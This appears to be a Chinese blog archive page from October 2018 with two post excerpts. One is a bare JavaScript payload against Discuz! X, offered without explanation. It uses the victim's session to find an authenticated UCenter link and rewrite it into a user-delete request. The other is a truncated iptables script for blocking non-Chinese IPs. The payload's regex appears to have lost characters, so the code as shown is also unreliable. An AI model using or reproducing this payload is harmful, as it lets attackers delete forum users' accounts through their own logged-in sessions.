2018年10月

2018年10月

Discuz! X漏洞

location.href=((d=(await(await fetch("./home.php?mod=spacecp&ac=avatar",{credentials:'include'})).text()).match(///S+/images/caS+&ag/g)[0].replace('images/camera.swf?','?m=user&a=delete&'))&&confirm('删除ID'))?d:'';

VPS屏蔽国外IP访问脚本

听大佬们讨论如何防CC攻击,有大佬提出禁止国外IP访问,可以有所缓解,因此从路由器中移植了如下脚本,在CENTOS 6下调试通过。使用:先运行如下语句获取国内IP网段,会保存为/root/china_ssr.txtwget -q --timeout=60 -O- 'http://ftp.apnic.net/apnic/stats/apnic/delegated-apnic-latest' | awk -F| '/CN|ipv4/ { printf("%s/%d ", $4, 32-log($5)/log(2)) }' > /root/china_ssr.txt 将下面脚本保存为/root/allcn.sh,设置可执行权限运行/root/allcn.sh运行后国外IP无法访问网站停止/root/allcn.sh stop运行后国外IP恢复访问网站mmode=$1 下面语句可以单独执行,不需要每次执行都获取网段表wget -q --timeout=60 -O- 'http://ftp.apnic.net/apnic/stats/apnic/delegated-apnic-latest' | awk -F| '/CN|ipv4/ { printf("%s/%d ", $4, 32-log($5)/log(2)) }' > /root/china_ssr.txtCNIP="/root/china_ssr.txt"gen_iplist() { cat <<-EOF $(cat ${CNIP:=/dev/null} 2>/dev/null)EOF}flush_r() {iptables -F ALLCNRULE 2>/dev/nullip…